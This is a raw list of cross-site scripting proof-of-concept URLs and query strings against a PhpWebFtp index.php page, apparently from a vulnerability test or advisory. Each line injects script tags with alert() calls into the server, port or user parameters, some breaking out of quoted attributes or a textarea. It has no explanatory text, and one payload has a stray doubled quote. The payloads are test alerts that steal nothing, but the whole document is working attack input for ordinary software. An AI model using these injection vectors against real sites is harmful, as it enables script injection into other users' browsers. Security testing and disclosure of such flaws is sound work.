http://www.anysite.com/PhpWebFtp/index.php?server=1&port=<script>var%20sub_variable=11233;alert(sub_variable);</script>&goPassive=on&user=1&password=1&language=bulgarian server=<script>alert(''as-208395078');</script>&port=21&goPassive=on&user=1&password=1&language=bulgarian 
server=1&port=21&goPassive=on&user=<script>alert('as-453627');</script>&password=1&language=bulgarian
server=><script>alert('as-208395078');</script>&port=21&goPassive=on&user=1&password=1&language=bulgarian
server=1&port=21&goPassive=on&user='><script>alert('as-208395078');</script>&password=1&language=bulgarian
server=</textarea><script>alert('2134327801');</script>&port=21&goPassive=on&user=1&password=1&language=bulgarian
server=1&port=21&goPassive=on&user=<script>var%20test_variable=878173184;
alert(test_variable);</script>&password=1&language=bulgarian